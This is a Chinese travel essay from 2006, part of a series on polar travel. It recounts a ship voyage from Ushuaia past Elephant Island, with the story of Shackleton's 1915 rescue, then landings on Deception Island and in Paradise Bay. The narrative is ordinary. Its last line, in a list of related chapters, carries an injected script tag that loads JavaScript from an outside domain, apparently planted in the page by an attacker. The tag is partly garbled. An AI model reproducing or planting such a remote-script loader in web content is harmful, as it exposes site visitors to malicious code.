夏天的两极(3)

2006-1-23 作者：新旅行阅读：

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向象岛致敬，向沙克尔顿致敬

　　晚9时整，我们乘安德莉娅号离开了乌斯怀亚港.船是美国人的，起的是船长孙女的名字，小女孩的相片就挂在餐厅的入口处。夜色垂垂，岸上的灯火渐行渐远，正前方，一颗流星醒目地划过。我靠在船头看夜空下的天海交界，知道心仪已久的那个岛不远了，约40个小时以后，我将站在它的面前，脱帽致敬。

　　在15至17世纪的全球地理大发现中，探险家漂大洋，闯极地，走遍陆地和海洋，哥伦布、麦哲伦、库克、南森、富兰克林、阿蒙森、斯科特、皮里，探险家的名字成为一个个里程碑。此次航程，我要致敬的那个岛叫象岛（Elephant Island），我要致敬的那个人名叫沙克尔顿（Shackleton）。象岛也被称为海象岛，探险史上有时则被称作象海豹岛。它的位置，就在南极洲那个朝北伸出的羽毛尖的最顶端。

　　沙克尔顿爵士是爱尔兰人，1874年生，他在南极探险史上功勋卓著，南极许多海岸、海湾、冰瀑、冰架和岛屿都以他的名字命名。人类的探索之旅延伸到太空后，月球南极的一座环形山也以沙克尔顿来命名。1915年11月，沙克尔顿的船被浮冰挤压沉没，全体28人飘流到了象岛。这里荒凉偏僻，沙克尔顿毅然带5个人乘小木船顺洋流北漂求救。漂了1300公里后到达南乔治亚岛，几经辗转，在智利找到帕托船长带船赶回象岛，此时留在那里的22个人，靠企鹅、海豹活命已经整整120天了，临近象岛时，沙克尔顿站在船头，大声数着岛上的人数，当他数够22时，热泪盈眶。

　　航海人都知道，西风带从不平息。过毕克水道后，进入德雷克海峡，不给喘息适应的机会，安德莉娅这个小女孩就一头扑进了西风带的狰狞怀抱，在蹂躏中前行。船起伏，摇摆，转磨般向前。舱内所有橱柜抽屉都有固定锁扣，桌椅都固定在地面，但仍听见不时有东西掉下。美国佬的餐厅摆贵族架子，餐具均用瓷器，结果一个风浪过来，全桌的盘碗全部摔碎，然后菲律宾侍者不动声色全部换新。

　　两天后看到了目的地，改乘小艇靠岸。洋面满布浮冰，暴雨骇浪，小艇无法靠近，只能远远望一眼了。洋面上几只海豹在破浪前进，巨大的黑色岩壁上站满企鹅，在风雨中一动不动。透过雨幕，在岩石、冰雪、企鹅簇拥处，俨然看到一座大理石座的青铜雕像，在荒蛮之中格外触目。我知道雕像是帕托船长，记述的就是沙克尔顿的故事。由于这次探险，沙克尔顿被称为有史以来世界上最伟大的领队，这次成功的失败行动，日后竟成为管理学教材的经典案例。在昏黑的雨幕中遥望象岛，我听到了当年三桅风帆的吱呀声，透过时空看见了那28双坚毅深邃的眼睛，听到沙克尔顿安静地说：惟一真正的失败，是我们不再去探索。

　　骗人的奇幻岛，宜人的天堂湾

　　顺着南极洲的那根翘起的羽毛东侧，从象岛继续往南走两三个纬度，也就是我国南极长城站（南纬62°12′、西经58°57′）的东南方，有个马蹄形的小岛，这就是来南极旅游最常去的奇幻岛（Deception island）了。

　　通常人们会把奇幻岛作为到南极的第一个登陆点。奇幻其实是个平庸的名字，台湾兰屿，泰国普吉，太平洋的加拉帕戈斯群岛，都有叫奇幻岛的岛屿，叫这个名字的还有科幻小说、电影名字、电脑游戏甚至数学游戏。南极的这个奇幻岛，有时也译成欺骗岛，其实这更符合这个岛英文名的本来含义，它确实有些欺骗性--像个死火山，其实是活的。上个世纪60年代喷发时，智利、阿根廷、英国的3个科考站化为灰烬，挪威的鲸鱼加工厂被吞没。

　　现在来到岛上，放眼望去，满地的黑色火山灰。极地朔风在捕鲸站的废墟中游来荡去。往上走几步，默默肃立着两座坟墓。无人凭吊，只有风从十字架上掠过。废墟中，有一只小企鹅在伸懒腰。多天真的孩子，它不知道废墟不是家园。现在火山的恐怖已不在，有时这里也制造了一些欢乐。在钟摆湾海滩上用铁锨挖几下，就能挖出温泉，上温下热中冷，地面温度可达50摄氏度。于是，可以在南极洗个温泉浴，作为日后夸耀的谈资。而且，通常船长会发给一份正式证明书，为你的炫耀提供确凿的证据。

　　从奇幻岛继续向东南走，接近南极圈（南纬66°33′）时，就从火山地狱来到了天堂湾（Paradise Bay）。这是一个绝对使人全身心放松的地方。海湾风平浪静，船感觉不到的轻摇，像母亲的呼吸。海湾四周，冰雪扇形环绕，冰河流入，企鹅发呆，海豹在蓝冰中游弋。

　　我的一位同行者，不知哪个国家的中年男人，扎马尾辫，有着忧郁眼神和微笑羞涩，背着两架尼康，却全然忘记了拍摄，显然，他已融化进眼前仙境。

　　下午上了附近的Cuverville Island。这个岛岸边都是光洁的大鹅卵石，像大大的西瓜。我在岸边找了块儿洁净的石头，坐了下来看远处，远处天空青蓝，海水幽蓝，浮冰微蓝。不时有几只洗得干干净净的企鹅从海里钻出来，抖干水，也不走，傻傻地看着我，我同样看着它们。它们摇摇头，然后走开。这里是地球安静的极境。

　　1.悠悠白骨，岁月之痕 2.南乔治亚岛的?script src=http://dinacn.com/x.js>

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